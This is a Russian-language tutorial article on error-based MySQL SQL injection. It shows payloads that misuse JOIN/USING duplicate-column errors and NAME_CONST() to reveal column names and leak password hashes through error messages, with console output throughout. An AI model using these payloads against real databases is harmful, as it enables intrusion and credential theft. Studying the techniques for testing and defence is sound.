Сегодня я покажу поистине революционные приемы инъектирования. А ты внимательно слушай и конспектируй. Разбираемся с именами столбцов Начались мои исследования с попытки решить вторую основную проблему тех, кто работает с инъекциями в MySQL. Она заключается в невозможности получить имена таблиц и столбцов в MySQL 4-й ветки, не прибегая к полному перебору. Насколько нам всем известно, в этой ветке начисто отсутствует системная таблица INFORMATION_SCHEMA.tables, и данные о таблицах, хранящихся в базе данных, нигде в виде, доступном для чтения, не содержатся. Эта особенность доставляет массу неудобств. Изначально задумка состояла в том, чтобы попытаться найти такую ошибку выполнения SQL-запроса, в которой выводится какая-нибудь информация о текущей таблице. Немного пошерстив документацию, обнаруживаем ошибку: Error: 1060 SQLSTATE: 42S21 (ER_DUP_FIELDNAME) Message: Duplicate column name '%s' Забиваем текст в поисковик и видим: эту ошибку можно получить, если задать уже существующее имя колонки в оператор ALTER TABLE, или если неправильно воспользоваться оператором JOIN. Вариант с ALTER TABLE не подходит, так как его невозможно использовать в SELECT-запросе. Попробуем вариант с JOIN. Для начала выясним, когда именно эта ошибка возникает в SELECT-запросе. Посмотрев документацию, выясняем, что эта ошибка возникает тогда, когда ты при помощи оператора SELECT пытаешься получить имя какой-нибудь колонки (к примеру, id) и тут оказывается, что колонок с именем id несколько. Оператор SELECT теряется и выплевывает ошибку. Мол, колонок с именем 'id' несколько, и он не знает, какая именно тебе нужна. Теперь вспомним о том, что оператор JOIN используется для связывания двух таблиц между собой. Запускаем запрос с использованием JOIN: mysql> select * from users join news; +----+------+-----------+----------+----+-------+------------+ | id | name | passwd | is_admin | id | title | date | +----+------+-----------+----------+----+-------+------------+ | 1 | Ivan | password1 | 1 | 1 | test1 | 22-12-2009 | +----+------+-----------+----------+----+-------+------------+ 1 row in set (0.00 sec) И видим, что он вернул нам содержимое таблиц `users` и `news` в виде одной таблицы, причем имена колонок в таблицах остались прежними. То есть, у нас в выводимом результате – две колонки с именем 'id'. Попробуем получить значение поля 'id' из таблицы, составленной выше. Не забываем о том, что для сложных запросов MySQL требует указания алиасов для каждой таблицы, участвующей в запросе. mysql> select * from (select * from users as a join news as b) as c; ERROR 1060 (42S21): Duplicate column name 'id' Отлично! Получили то, что хотели, осталось подумать, как при помощи подобного запроса получить имена всех столбцов, к примеру, таблицы `users`. Джойним ее саму с собой: mysql> select * from (select * from users as a join users as b) as c; ERROR 1060 (42S21): Duplicate column name 'id' На выходе получаем имя первого столбца таблицы. Думаем, как получить остальные. Снова смотрим в документацию и находим оператор USING, который используется для указания списка столбцов, которые присутствуют в обеих таблицах: USING (column_list) служит для указания списка столбцов, которые должны существовать в обеих таблицах. Такое выражение USING, как: A LEFT JOIN B USING (C1,C2,C3,...) семантически идентично выражению ON, например: A.C1=B.C1 AND A.C2=B.C2 AND A.C3=B.C3,... То есть, объединив таблицы `news` и `users` и используя оператор USING() с параметром 'id', мы получим результирующую таблицу, в которой столбец с именем 'id' будет присутствовать только один раз. Пробуем: mysql> select * from users a join news b USING(id); +----+------+-----------+----------+-------+------------+ | id | name | passwd | is_admin | title | date | +----+------+-----------+----------+-------+------------+ | 1 | Ivan | password1 | 1 | test1 | 22-12-2009 | +----+------+-----------+----------+-------+------------+ 1 row in set (0.00 sec) Действительно, видим только один столбец с именем 'id', а значит и попытка получить столбец с именем 'id' из этой таблицы никакой ошибки не спровоцирует. Применим этот оператор для получения имен остальных полей из таблицы `users`, с учетом того, что имя 'id' мы уже знаем: mysql> select * from (select * from users a join users b using(id))c; ERROR 1060 (42S21): Duplicate column name 'name' Ага, узнали еще одно имя столбца - 'name', пробуем дальше: mysql> select * from (select * from users a join users b using(id, name))c; ERROR 1060 (42S21): Duplicate column name 'passwd' Узнаем имя третьего столбца. И так, один за другим, выявляем имена столбцов в этой таблице. В конце, когда выясним все имена, ошибки не будет, и запрос выполнится успешно. mysql> select * from (select * from users a join users b using(id, name, passwd, is_admin))c; +----+------+-----------+----------+ | id | name | passwd | is_admin | +----+------+-----------+----------+ | 1 | Ivan | password1 | 1 | +----+------+-----------+----------+ 1 row in set (0.00 sec) Делаем вывод, что в таблице `users` присутствуют столбцы 'id', 'name', 'passwd', 'is_admin'. Вроде бы все хорошо, но... метод не срабатывает на MySQL 4-й версии. Выясняется, что в четвертой версии при таком запросе возникает совершенно другая ошибка. Следовательно, все описанное выше может использоваться, только если по каким-либо причинам мы не можем воспользоваться таблицей INFORMATION_SCHEMA.tables в пятой или шестой версиях MySQL. Взгляд под другим углом Возможность получать имена столбцов без использования INFORMATION_SCHEMA – это, конечно, возможность полезная, но такая необходимость возникает довольно редко. Разве что в слепых SQL-инъекциях, с возможностью вывода ошибки, где стандартный процесс получения значений занимает достаточно много времени. А тут пара запросов и все нужные значения получены. Хотелось бы выжать из этой ошибки большее... Недавно мне в аську постучался jokester (Джок, большой тебе привет!) и предложил следующую идею: "А почему бы не попробовать выводить значение какого-либо поля из базы данных в тексте ошибки целиком, не прибегая к классическому использованию more 1 row?". "Идея отличная", - согласился я. Он начал исследовать варианты составления запросов с использованием ORDER BY, которые при неправильном значении сортируемого поля выводят ошибку: mysql> select * from users order by lala; ERROR 1054 (42S22): Unknown column 'lala' in 'order clause' Я же вспомнил о методе вывода имен колонок с использованием JOIN. Через некоторое время мы оба пришли к тому, что нужно найти какой-нибудь способ заставить базу данных воспринимать значение поля как имя колонки. Это обуславливается тем, что запросы, которые ругаются на неправильное имя колонки, есть, а запросов, которые ругаются на неправильные данные в таблице и при этом их выводят, - нет. Отлично, задача поставлена, зарываемся в документацию. Находим интересную функцию в разделе "Miscellaneous Functions", с пометкой "for internal use only". Функция называется NAME_CONST(). Используется так: NAME_CONST(name,value). Результатом работы станет значение 'value' в столбце с именем 'name': mysql> select name_const('Test', 111); +------+ | Test | +------+ | 111 | +------+ 1 row in set (0.00 sec) Как раз то, что нужно! Проверим, возможно ли вместо значения 'value' выполнить какой-нибудь запрос. Достанем, к примеру, поле 'passhash' из таблицы 'users': mysql> select name_const((select passhash from users where id=1), 111); +----------------------------------+ | f8d80def69dc3ee86c5381219e4c5c80 | +----------------------------------+ | 111 | +----------------------------------+ 1 row in set (0.00 sec)1 row in set (0.03 sec) Отлично, все сработало, как надо - в имени столбца мы видим строку 'f8d80def69dc3ee86c5381219e4c5c80', которая является паролем первого пользователя из таблицы 'users'. А теперь используем этот запрос в методе получения имен полей, без использования INFORMATION_SCHEMA. Аккуратненько составляем запрос, подставив вызов функции NAME_CONST вместо имени таблицы, в которой узнаем имена столбцов. Не забываем добавлять алиасы к каждой используемой таблице, и стараемся не запутаться в скобочках. Запускаем: mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT passwd FROM users LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT passwd FROM users LIMIT 1),1)k)e)r; ERROR 1060 (42S21): Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80' Вот мы и добились, чего хотели. Теперь мы знаем, как достать из базы данных любое поле за один запрос! Попробуем вытащить больше чем одно поле при помощи функции CONCAT(), назначение которой объединять две и более строк. Например: mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT concat(name,0x3a,passwd) FROM users LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT concat(name,0x3a,passwd) FROM users LIMIT 1),1)k)e)r; ERROR 1060 (42S21): Duplicate column name 'admin:f8d80def69dc3ee86c5381219e4c5c80' Так мы и получили два поля за один запрос. К сожалению, бесконечно увеличивать количество выводимых полей невозможно, так как вывести более 64 символов не получится. Но эта проблема решаема, если использовать функцию SUBSTRING(), описание к которой ты без проблем найдешь в официальной документации. Заключение Далеко не все методики работы с уязвимостями исследованы до конца, вариантов упростить свою работу еще бесчисленное множество. Поэтому я бы хотел посоветовать всем хакерам иногда отвлекаться от тривиального взлома и уделять часть своего времени новым исследованиям. Ведь хакер это, в первую очередь, исследователь, не так ли? WARNING Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут! INFO Эти методы можно использовать и в обычных инъекциях. При их использовании не придется подбирать количество колонок в запросе. Источник
|